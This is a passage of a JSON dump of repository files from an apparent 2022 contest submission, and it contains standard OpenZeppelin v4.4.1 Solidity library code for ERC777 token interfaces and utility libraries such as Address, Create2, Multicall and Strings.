{operatorSend}, minting and burning.\n     *\n     * Calling conditions:\n     *\n     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n     * will be to transferred to `to`.\n     * - when `from` is zero, `amount` tokens will be minted for `to`.\n     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n     * - `from` and `to` are never both zero.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC777/IERC777.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC777Token standard as defined in the EIP.\n *\n * This contract uses the\n * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let\n * token holders and recipients react to token movements by using setting implementers\n * for the associated interfaces in said registry. See {IERC1820Registry} and\n * {ERC1820Implementer}.\n */\ninterface IERC777 {\n    /**\n     * @dev Returns the name of the token.\n     */\n    function name() external view returns (string memory);\n\n    /**\n     * @dev Returns the symbol of the token, usually a shorter version of the\n     * name.\n     */\n    function symbol() external view returns (string memory);\n\n    /**\n     * @dev Returns the smallest part of the token that is not divisible. This\n     * means all token operations (creation, movement and destruction) must have\n     * amounts that are a multiple of this number.\n     *\n     * For most token contracts, this value will equal 1.\n     */\n    function granularity() external view returns (uint256);\n\n    /**\n     * @dev Returns the amount of tokens in existence.\n     */\n    function totalSupply() external view returns (uint256);\n\n    /**\n     * @dev Returns the amount of tokens owned by an account (`owner`).\n     */\n    function balanceOf(address owner) external view returns (uint256);\n\n    /**\n     * @dev Moves `amount` tokens from the caller's account to `recipient`.\n     *\n     * If send or receive hooks are registered for the caller and `recipient`,\n     * the corresponding functions will be called with `data` and empty\n     * `operatorData`. See {IERC777Sender} and {IERC777Recipient}.\n     *\n     * Emits a {Sent} event.\n     *\n     * Requirements\n     *\n     * - the caller must have at least `amount` tokens.\n     * - `recipient` cannot be the zero address.\n     * - if `recipient` is a contract, it must implement the {IERC777Recipient}\n     * interface.\n     */\n    function send(\n        address recipient,\n        uint256 amount,\n        bytes calldata data\n    ) external;\n\n    /**\n     * @dev Destroys `amount` tokens from the caller's account, reducing the\n     * total supply.\n     *\n     * If a send hook is registered for the caller, the corresponding function\n     * will be called with `data` and empty `operatorData`. See {IERC777Sender}.\n     *\n     * Emits a {Burned} event.\n     *\n     * Requirements\n     *\n     * - the caller must have at least `amount` tokens.\n     */\n    function burn(uint256 amount, bytes calldata data) external;\n\n    /**\n     * @dev Returns true if an account is an operator of `tokenHolder`.\n     * Operators can send and burn tokens on behalf of their owners. All\n     * accounts are their own operator.\n     *\n     * See {operatorSend} and {operatorBurn}.\n     */\n    function isOperatorFor(address operator, address tokenHolder) external view returns (bool);\n\n    /**\n     * @dev Make an account an operator of the caller.\n     *\n     * See {isOperatorFor}.\n     *\n     * Emits an {AuthorizedOperator} event.\n     *\n     * Requirements\n     *\n     * - `operator` cannot be calling address.\n     */\n    function authorizeOperator(address operator) external;\n\n    /**\n     * @dev Revoke an account's operator status for the caller.\n     *\n     * See {isOperatorFor} and {defaultOperators}.\n     *\n     * Emits a {RevokedOperator} event.\n     *\n     * Requirements\n     *\n     * - `operator` cannot be calling address.\n     */\n    function revokeOperator(address operator) external;\n\n    /**\n     * @dev Returns the list of default operators. These accounts are operators\n     * for all token holders, even if {authorizeOperator} was never called on\n     * them.\n     *\n     * This list is immutable, but individual holders may revoke these via\n     * {revokeOperator}, in which case {isOperatorFor} will return false.\n     */\n    function defaultOperators() external view returns (address[] memory);\n\n    /**\n     * @dev Moves `amount` tokens from `sender` to `recipient`. The caller must\n     * be an operator of `sender`.\n     *\n     * If send or receive hooks are registered for `sender` and `recipient`,\n     * the corresponding functions will be called with `data` and\n     * `operatorData`. See {IERC777Sender} and {IERC777Recipient}.\n     *\n     * Emits a {Sent} event.\n     *\n     * Requirements\n     *\n     * - `sender` cannot be the zero address.\n     * - `sender` must have at least `amount` tokens.\n     * - the caller must be an operator for `sender`.\n     * - `recipient` cannot be the zero address.\n     * - if `recipient` is a contract, it must implement the {IERC777Recipient}\n     * interface.\n     */\n    function operatorSend(\n        address sender,\n        address recipient,\n        uint256 amount,\n        bytes calldata data,\n        bytes calldata operatorData\n    ) external;\n\n    /**\n     * @dev Destroys `amount` tokens from `account`, reducing the total supply.\n     * The caller must be an operator of `account`.\n     *\n     * If a send hook is registered for `account`, the corresponding function\n     * will be called with `data` and `operatorData`. See {IERC777Sender}.\n     *\n     * Emits a {Burned} event.\n     *\n     * Requirements\n     *\n     * - `account` cannot be the zero address.\n     * - `account` must have at least `amount` tokens.\n     * - the caller must be an operator for `account`.\n     */\n    function operatorBurn(\n        address account,\n        uint256 amount,\n        bytes calldata data,\n        bytes calldata operatorData\n    ) external;\n\n    event Sent(\n        address indexed operator,\n        address indexed from,\n        address indexed to,\n        uint256 amount,\n        bytes data,\n        bytes operatorData\n    );\n\n    event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);\n\n    event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);\n\n    event AuthorizedOperator(address indexed operator, address indexed tokenHolder);\n\n    event RevokedOperator(address indexed operator, address indexed tokenHolder);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC777/IERC777Recipient.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Recipient.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC777TokensRecipient standard as defined in the EIP.\n *\n * Accounts can be notified of {IERC777} tokens being sent to them by having a\n * contract implement this interface (contract holders can be their own\n * implementer) and registering it on the\n * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].\n *\n * See {IERC1820Registry} and {ERC1820Implementer}.\n */\ninterface IERC777Recipient {\n    /**\n     * @dev Called by an {IERC777} token contract whenever tokens are being\n     * moved or created into a registered account (`to`). The type of operation\n     * is conveyed by `from` being the zero address or not.\n     *\n     * This call occurs _after_ the token contract's state is updated, so\n     * {IERC777-balanceOf}, etc., can be used to query the post-operation state.\n     *\n     * This function may revert to prevent the operation from being executed.\n     */\n    function tokensReceived(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes calldata userData,\n        bytes calldata operatorData\n    ) external;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC777/IERC777Sender.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Sender.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC777TokensSender standard as defined in the EIP.\n *\n * {IERC777} Token holders can be notified of operations performed on their\n * tokens by having a contract implement this interface (contract holders can be\n * their own implementer) and registering it on the\n * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].\n *\n * See {IERC1820Registry} and {ERC1820Implementer}.\n */\ninterface IERC777Sender {\n    /**\n     * @dev Called by an {IERC777} token contract whenever a registered holder's\n     * (`from`) tokens are about to be moved or destroyed. The type of operation\n     * is conveyed by `to` being the zero address or not.\n     *\n     * This call occurs _before_ the token contract's state is updated, so\n     * {IERC777-balanceOf}, etc., can be used to query the pre-operation state.\n     *\n     * This function may revert to prevent the operation from being executed.\n     */\n    function tokensToSend(\n        address operator,\n        address from,\n        address to,\n        uint256 amount,\n        bytes calldata userData,\n        bytes calldata operatorData\n    ) external;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC777/README.adoc",
    "content": "= ERC 777\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc777\n\nThis set of interfaces and contracts are all related to the [ERC777 token standard](https://eips.ethereum.org/EIPS/eip-777).\n\nTIP: For an overview of ERC777 tokens and a walk through on how to create a token contract read our xref:ROOT:erc777.adoc[ERC777 guide].\n\nThe token behavior itself is implemented in the core contracts: {IERC777}, {ERC777}.\n\nAdditionally there are interfaces used to develop contracts that react to token movements: {IERC777Sender}, {IERC777Recipient}.\n\n== Core\n\n{{IERC777}}\n\n{{ERC777}}\n\n== Hooks\n\n{{IERC777Sender}}\n\n{{IERC777Recipient}}\n\n== Presets\n\nThese contracts are preconfigured combinations of features. They can be used through inheritance or as models to copy and paste their source code.\n\n{{ERC777PresetFixedSupply}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC777/presets/ERC777PresetFixedSupply.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC777/presets/ERC777PresetFixedSupply.sol)\npragma solidity ^0.8.0;\n\nimport \"../ERC777.sol\";\n\n/**\n * @dev {ERC777} token, including:\n *\n *  - Preminted initial supply\n *  - No access control mechanism (for minting/pausing) and hence no governance\n *\n * _Available since v3.4._\n */\ncontract ERC777PresetFixedSupply is ERC777 {\n    /**\n     * @dev Mints `initialSupply` amount of token and transfers them to `owner`.\n     *\n     * See {ERC777-constructor}.\n     */\n    constructor(\n        string memory name,\n        string memory symbol,\n        address[] memory defaultOperators,\n        uint256 initialSupply,\n        address owner\n    ) ERC777(name, symbol, defaultOperators) {\n        _mint(owner, initialSupply, \"\", \"\");\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Address.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n    /**\n     * @dev Returns true if `account` is a contract.\n     *\n     * [IMPORTANT]\n     * ====\n     * It is unsafe to assume that an address for which this function returns\n     * false is an externally-owned account (EOA) and not a contract.\n     *\n     * Among others, `isContract` will return false for the following\n     * types of addresses:\n     *\n     *  - an externally-owned account\n     *  - a contract in construction\n     *  - an address where a contract will be created\n     *  - an address where a contract lived, but was destroyed\n     * ====\n     */\n    function isContract(address account) internal view returns (bool) {\n        // This method relies on extcodesize, which returns 0 for contracts in\n        // construction, since the code is only stored at the end of the\n        // constructor execution.\n\n        uint256 size;\n        assembly {\n            size := extcodesize(account)\n        }\n        return size > 0;\n    }\n\n    /**\n     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n     * `recipient`, forwarding all available gas and reverting on errors.\n     *\n     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n     * of certain opcodes, possibly making contracts go over the 2300 gas limit\n     * imposed by `transfer`, making them unable to receive funds via\n     * `transfer`. {sendValue} removes this limitation.\n     *\n     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n     *\n     * IMPORTANT: because control is transferred to `recipient`, care must be\n     * taken to not create reentrancy vulnerabilities. Consider using\n     * {ReentrancyGuard} or the\n     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n     */\n    function sendValue(address payable recipient, uint256 amount) internal {\n        require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n        (bool success, ) = recipient.call{value: amount}(\"\");\n        require(success, \"Address: unable to send value, recipient may have reverted\");\n    }\n\n    /**\n     * @dev Performs a Solidity function call using a low level `call`. A\n     * plain `call` is an unsafe replacement for a function call: use this\n     * function instead.\n     *\n     * If `target` reverts with a revert reason, it is bubbled up by this\n     * function (like regular Solidity function calls).\n     *\n     * Returns the raw returned data. To convert to the expected return value,\n     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n     *\n     * Requirements:\n     *\n     * - `target` must be a contract.\n     * - calling `target` with `data` must not revert.\n     *\n     * _Available since v3.1._\n     */\n    function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n        return functionCall(target, data, \"Address: low-level call failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n     * `errorMessage` as a fallback revert reason when `target` reverts.\n     *\n     * _Available since v3.1._\n     */\n    function functionCall(\n        address target,\n        bytes memory data,\n        string memory errorMessage\n    ) internal returns (bytes memory) {\n        return functionCallWithValue(target, data, 0, errorMessage);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n     * but also transferring `value` wei to `target`.\n     *\n     * Requirements:\n     *\n     * - the calling contract must have an ETH balance of at least `value`.\n     * - the called Solidity function must be `payable`.\n     *\n     * _Available since v3.1._\n     */\n    function functionCallWithValue(\n        address target,\n        bytes memory data,\n        uint256 value\n    ) internal returns (bytes memory) {\n        return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n     * with `errorMessage` as a fallback revert reason when `target` reverts.\n     *\n     * _Available since v3.1._\n     */\n    function functionCallWithValue(\n        address target,\n        bytes memory data,\n        uint256 value,\n        string memory errorMessage\n    ) internal returns (bytes memory) {\n        require(address(this).balance >= value, \"Address: insufficient balance for call\");\n        require(isContract(target), \"Address: call to non-contract\");\n\n        (bool success, bytes memory returndata) = target.call{value: value}(data);\n        return verifyCallResult(success, returndata, errorMessage);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n     * but performing a static call.\n     *\n     * _Available since v3.3._\n     */\n    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n        return functionStaticCall(target, data, \"Address: low-level static call failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n     * but performing a static call.\n     *\n     * _Available since v3.3._\n     */\n    function functionStaticCall(\n        address target,\n        bytes memory data,\n        string memory errorMessage\n    ) internal view returns (bytes memory) {\n        require(isContract(target), \"Address: static call to non-contract\");\n\n        (bool success, bytes memory returndata) = target.staticcall(data);\n        return verifyCallResult(success, returndata, errorMessage);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n     * but performing a delegate call.\n     *\n     * _Available since v3.4._\n     */\n    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n        return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n     * but performing a delegate call.\n     *\n     * _Available since v3.4._\n     */\n    function functionDelegateCall(\n        address target,\n        bytes memory data,\n        string memory errorMessage\n    ) internal returns (bytes memory) {\n        require(isContract(target), \"Address: delegate call to non-contract\");\n\n        (bool success, bytes memory returndata) = target.delegatecall(data);\n        return verifyCallResult(success, returndata, errorMessage);\n    }\n\n    /**\n     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n     * revert reason using the provided one.\n     *\n     * _Available since v4.3._\n     */\n    function verifyCallResult(\n        bool success,\n        bytes memory returndata,\n        string memory errorMessage\n    ) internal pure returns (bytes memory) {\n        if (success) {\n            return returndata;\n        } else {\n            // Look for revert reason and bubble it up if present\n            if (returndata.length > 0) {\n                // The easiest way to bubble the revert reason is using memory via assembly\n\n                assembly {\n                    let returndata_size := mload(returndata)\n                    revert(add(32, returndata), returndata_size)\n                }\n            } else {\n                revert(errorMessage);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Arrays.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Arrays.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/Math.sol\";\n\n/**\n * @dev Collection of functions related to array types.\n */\nlibrary Arrays {\n    /**\n     * @dev Searches a sorted `array` and returns the first index that contains\n     * a value greater or equal to `element`. If no such index exists (i.e. all\n     * values in the array are strictly less than `element`), the array length is\n     * returned. Time complexity O(log n).\n     *\n     * `array` is expected to be sorted in ascending order, and to contain no\n     * repeated elements.\n     */\n    function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {\n        if (array.length == 0) {\n            return 0;\n        }\n\n        uint256 low = 0;\n        uint256 high = array.length;\n\n        while (low < high) {\n            uint256 mid = Math.average(low, high);\n\n            // Note that mid will always be strictly less than high (i.e. it will be a valid array index)\n            // because Math.average rounds down (it does integer division with truncation).\n            if (array[mid] > element) {\n                high = mid;\n            } else {\n                low = mid + 1;\n            }\n        }\n\n        // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.\n        if (low > 0 && array[low - 1] == element) {\n            return low - 1;\n        } else {\n            return low;\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Context.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n    function _msgSender() internal view virtual returns (address) {\n        return msg.sender;\n    }\n\n    function _msgData() internal view virtual returns (bytes calldata) {\n        return msg.data;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Counters.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title Counters\n * @author Matt Condon (@shrugs)\n * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number\n * of elements in a mapping, issuing ERC721 ids, or counting request ids.\n *\n * Include with `using Counters for Counters.Counter;`\n */\nlibrary Counters {\n    struct Counter {\n        // This variable should never be directly accessed by users of the library: interactions must be restricted to\n        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add\n        // this feature: see https://github.com/ethereum/solidity/issues/4637\n        uint256 _value; // default: 0\n    }\n\n    function current(Counter storage counter) internal view returns (uint256) {\n        return counter._value;\n    }\n\n    function increment(Counter storage counter) internal {\n        unchecked {\n            counter._value += 1;\n        }\n    }\n\n    function decrement(Counter storage counter) internal {\n        uint256 value = counter._value;\n        require(value > 0, \"Counter: decrement overflow\");\n        unchecked {\n            counter._value = value - 1;\n        }\n    }\n\n    function reset(Counter storage counter) internal {\n        counter._value = 0;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Create2.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Create2.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer.\n * `CREATE2` can be used to compute in advance the address where a smart\n * contract will be deployed, which allows for interesting new mechanisms known\n * as 'counterfactual interactions'.\n *\n * See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more\n * information.\n */\nlibrary Create2 {\n    /**\n     * @dev Deploys a contract using `CREATE2`. The address where the contract\n     * will be deployed can be known in advance via {computeAddress}.\n     *\n     * The bytecode for a contract can be obtained from Solidity with\n     * `type(contractName).creationCode`.\n     *\n     * Requirements:\n     *\n     * - `bytecode` must not be empty.\n     * - `salt` must have not been used for `bytecode` already.\n     * - the factory must have a balance of at least `amount`.\n     * - if `amount` is non-zero, `bytecode` must have a `payable` constructor.\n     */\n    function deploy(\n        uint256 amount,\n        bytes32 salt,\n        bytes memory bytecode\n    ) internal returns (address) {\n        address addr;\n        require(address(this).balance >= amount, \"Create2: insufficient balance\");\n        require(bytecode.length != 0, \"Create2: bytecode length is zero\");\n        assembly {\n            addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)\n        }\n        require(addr != address(0), \"Create2: Failed on deploy\");\n        return addr;\n    }\n\n    /**\n     * @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the\n     * `bytecodeHash` or `salt` will result in a new destination address.\n     */\n    function computeAddress(bytes32 salt, bytes32 bytecodeHash) internal view returns (address) {\n        return computeAddress(salt, bytecodeHash, address(this));\n    }\n\n    /**\n     * @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at\n     * `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}.\n     */\n    function computeAddress(\n        bytes32 salt,\n        bytes32 bytecodeHash,\n        address deployer\n    ) internal pure returns (address) {\n        bytes32 _data = keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash));\n        return address(uint160(uint256(_data)));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Multicall.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Multicall.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./Address.sol\";\n\n/**\n * @dev Provides a function to batch together multiple calls in a single external call.\n *\n * _Available since v4.1._\n */\nabstract contract Multicall {\n    /**\n     * @dev Receives and executes a batch of function calls on this contract.\n     */\n    function multicall(bytes[] calldata data) external returns (bytes[] memory results) {\n        results = new bytes[](data.length);\n        for (uint256 i = 0; i < data.length; i++) {\n            results[i] = Address.functionDelegateCall(address(this), data[i]);\n        }\n        return results;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/README.adoc",
    "content": "= Utilities\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/utils\n\nMiscellaneous contracts and libraries containing utility functions you can use to improve security, work with new data types, or safely use low-level primitives.\n\nThe {Address}, {Arrays} and {Strings} libraries provide more operations related to these native data types, while {SafeCast} adds ways to safely convert between the different signed and unsigned numeric types.\n{Multicall} provides a function to batch together multiple calls in a single external call.\n\nFor new data types:\n\n * {Counters}: a simple way to get a counter that can only be incremented, decremented or reset. Very useful for ID generation, counting contract activity, among others.\n * {EnumerableMap}: like Solidity's https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] type, but with key-value _enumeration_: this will let you know how many entries a mapping has, and iterate over them (which is not possible with `mapping`).\n * {EnumerableSet}: like {EnumerableMap}, but for https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets]. Can be used to store privileged accounts, issued IDs, etc.\n\n[NOTE]\n====\nBecause Solidity does not support generic types, {EnumerableMap} and {EnumerableSet} are specialized to a limited number of key-value types.\n\nAs of v3.0, {EnumerableMap} supports `uint256 -> address` (`UintToAddressMap`), and {EnumerableSet} supports `address` and `uint256` (`AddressSet` and `UintSet`).\n====\n\nFinally, {Create2} contains all necessary utilities to safely use the https://blog.openzeppelin.com/getting-the-most-out-of-create2/[`CREATE2` EVM opcode], without having to deal with low-level assembly.\n\n== Math\n\n{{Math}}\n\n{{SafeCast}}\n\n{{SafeMath}}\n\n{{SignedSafeMath}}\n\n== Cryptography\n\n{{ECDSA}}\n\n{{SignatureChecker}}\n\n{{MerkleProof}}\n\n{{EIP712}}\n\n== Escrow\n\n{{ConditionalEscrow}}\n\n{{Escrow}}\n\n{{RefundEscrow}}\n\n== Introspection\n\nThis set of interfaces and contracts deal with https://en.wikipedia.org/wiki/Type_introspection[type introspection] of contracts, that is, examining which functions can be called on them. This is usually referred to as a contract's _interface_.\n\nEthereum contracts have no native concept of an interface, so applications must usually simply trust they are not making an incorrect call. For trusted setups this is a non-issue, but often unknown and untrusted third-party addresses need to be interacted with. There may even not be any direct calls to them! (e.g. `ERC20` tokens may be sent to a contract that lacks a way to transfer them out of it, locking them forever). In these cases, a contract _declaring_ its interface can be very helpful in preventing errors.\n\nThere are two main ways to approach this.\n\n* Locally, where a contract implements `IERC165` and declares an interface, and a second one queries it directly via `ERC165Checker`.\n* Globally, where a global and unique registry (`IERC1820Registry`) is used to register implementers of a certain interface (`IERC1820Implementer`). It is then the registry that is queried, which allows for more complex setups, like contracts implementing interfaces for externally-owned accounts.\n\nNote that, in all cases, accounts simply _declare_ their interfaces, but they are not required to actually implement them. This mechanism can therefore be used to both prevent errors and allow for complex interactions (see `ERC777`), but it must not be relied on for security.\n\n{{IERC165}}\n\n{{ERC165}}\n\n{{ERC165Storage}}\n\n{{ERC165Checker}}\n\n{{IERC1820Registry}}\n\n{{IERC1820Implementer}}\n\n{{ERC1820Implementer}}\n\n== Data Structures\n\n{{BitMaps}}\n\n{{EnumerableMap}}\n\n{{EnumerableSet}}\n\n== Libraries\n\n{{Create2}}\n\n{{Address}}\n\n{{Arrays}}\n\n{{Counters}}\n\n{{Strings}}\n\n{{StorageSlot}}\n\n{{Multicall}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/StorageSlot.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```\n * contract ERC1967 {\n *     bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n *     function _getImplementation() internal view returns (address) {\n *         return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n *     }\n *\n *     function _setImplementation(address newImplementation) internal {\n *         require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n *         StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n *     }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._\n */\nlibrary StorageSlot {\n    struct AddressSlot {\n        address value;\n    }\n\n    struct BooleanSlot {\n        bool value;\n    }\n\n    struct Bytes32Slot {\n        bytes32 value;\n    }\n\n    struct Uint256Slot {\n        uint256 value;\n    }\n\n    /**\n     * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n     */\n    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n        assembly {\n            r.slot := slot\n        }\n    }\n\n    /**\n     * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n     */\n    function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n        assembly {\n            r.slot := slot\n        }\n    }\n\n    /**\n     * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n     */\n    function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n        assembly {\n            r.slot := slot\n        }\n    }\n\n    /**\n     * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n     */\n    function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n        assembly {\n            r.slot := slot\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Strings.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n    bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n\n    /**\n     * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n     */\n    function toString(uint256 value) internal pure returns (string memory) {\n        // Inspired by OraclizeAPI's implementation - MIT licence\n        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n        if (value == 0) {\n            return \"0\";\n        }\n        uint256 temp = value;\n        uint256 digits;\n        while (temp != 0) {\n            digits++;\n            temp /= 10;\n        }\n        bytes memory buffer = new bytes(digits);\n        while (value != 0) {\n            digits -= 1;\n            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n            value /= 10;\n        }\n        return string(buffer);\n    }\n\n    /**\n     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n     */\n    function toHexString(uint256 value) internal pure returns (string memory) {\n        if (value == 0) {\n            return \"0x00\";\n        }\n        uint256 temp = value;\n        uint256 length = 0;\n        while (temp != 0) {\n            length++;\n            temp >>= 8;\n        }\n        return toHexString(value, length);\n    }\n\n    /**\n     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n     */\n    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n        bytes memory buffer = new bytes(2 * length + 2);\n        buffer[0] = \"0\";\n        buffer[1] = \"x\";\n        for (uint256 i = 2 * length + 1; i > 1; --i) {\n            buffer[i] = _HEX_SYMBOLS[value & 0xf];\n            value >>= 4;\n        }\n        require(value == 0, \"Strings: hex length insufficient\");\n        return string(buffer);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Timers.sol",
